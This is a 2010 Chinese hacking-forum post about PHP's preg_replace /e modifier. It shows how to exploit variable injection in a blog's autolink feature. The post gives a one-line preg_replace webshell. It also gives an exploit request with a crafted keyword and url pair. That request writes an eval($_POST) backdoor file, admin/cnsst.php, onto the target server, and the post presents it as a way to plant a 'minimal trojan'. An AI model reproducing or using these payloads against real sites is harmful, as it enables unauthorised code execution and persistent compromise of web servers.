WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2286查看
  • 0回复

主题

好友

2712

积分

禁止访问

发表于 2010-2-4 16:33:35 |显示全部楼层
前几天看到一段有意思的代码,记录下。
先介绍下php中一个著名的函数preg_replace,其原形是:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit] )
该函数一个有意思的地方是:只要在第一个参数里出现了/e,而第二个参数可以控制那么我们就可以执行Php代码了:)比如可以根据这个写个一句话马出来了:<?preg_replace(//e,$_GET[c],'''')?>
下面是我摘抄某blog中的一段代码

@require(''admin/class/autolink.php'');
if(count($autolink) != 0) {
foreach($autolink as $key=>$val)
{
$pattern[] = "/(?<!http:\/\/)(".$val[''keyword''].")(?![a-z0-9\/\-_+=.~!%@?#%&;:$\\()|]+)/i";
$replace[] = "[url={$val[''url'']}]\\1[/url]";
}
$oneRe[''content''] = preg_replace($pattern,$replace,$oneRe[''content'']);
unset($pattern,$replace);
}

这样的代码是不是很阴险呢?如果使用者为了去处默认连接将admin/class/autolink.php删除,那么$autolink就没有被正确初始化,我们提交
Autolink[keyword]=//e& Autolink[url]=fputs(fopen('admin/cnsst.php','w+'),'<?@eval($_post[c])?>')
这样就得到一个admin/cnsst.php的最小马了。

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-2 15:48 , Processed in 0.419928 second(s), 16 queries .

返回顶部